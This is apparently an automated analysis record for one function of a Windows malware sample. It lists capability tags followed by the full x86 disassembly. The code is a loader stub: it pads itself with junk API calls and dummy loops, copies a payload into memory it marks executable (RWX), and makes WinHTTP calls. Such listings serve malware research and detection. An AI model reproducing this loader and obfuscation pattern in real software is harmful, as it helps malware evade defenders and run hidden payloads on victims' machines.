Function at 0x404ed7
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via windows callback function
Get hostname
Initialize winhttp library
Receive http response

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c3c
call fcn.004104c0
push ebx
push esi
xor ebx, ebx
cmp dword [0x4d9c08], 0x5b1
push edi
jne 0x404f85
push ebx
lea eax, [ebp - 0x1038]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push dword [ebp - 4]
push 0x404850
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x838]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
push ebx
call fcn.00405ca7
pop ecx
lea esi, [ebp - 0x10]
call fcn.00404b80
mov ecx, esi
call fcn.00404ba0
push ebx
call fcn.00405891
pop ecx
push ebx
call fcn.0040587b
pop ecx
push ebx
push ebx
call fcn.004055d4
pop ecx
pop ecx
call fcn.004052e6
push ebx
call fcn.00406030
add dword [0x4d9c08], 0x1134b
push dword [0x4d9c08]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4d8b5c], eax
mov esi, 0x1e6cc
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x404fa6
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [0x4d9c08]
push dword [0x4d8b5c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x404fff
inc edi
cmp edi, 0x4f6a4
jl 0x404fe1
xor edi, edi
cmp dword [0x4d9c08], ebx
jbe 0x405051
cmp dword [0x4d9c08], 0xa8
mov eax, dword [0x4d9c0c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d8b5c]
mov byte [ecx + edi], al
jne 0x405048
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x404878
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc edi
cmp edi, dword [0x4d9c08]
jb 0x405009
xor esi, esi
mov eax, dword [0x4d9c08]
add eax, esi
cmp eax, 0xe
jne 0x40512b
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
push ebx
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push ebx
push 0x404888
push ebx
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [ebp - 0x1438]
push eax
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x4048e0
push 0x4048fc
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
lea eax, [ebp - 0x1c38]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [ebp - 0x2c], ax
lea edi, [ebp - 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x438]
push eax
push 0x404918
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
lea eax, [ebp - 0xc38]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x39621
jl 0x405053
call fcn.00404e03
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x405150
call fcn.00404ebd
inc edi
cmp edi, 0x6753f
jl 0x40513f
push 0x7b
pop esi
cmp dword [0x4d9c08], 0x86
jne 0x4051cd
lea eax, [ebp - 0x38]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebx
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x438]
push eax
push ebx
push 0x404960
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x40515c
push 0x404994
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret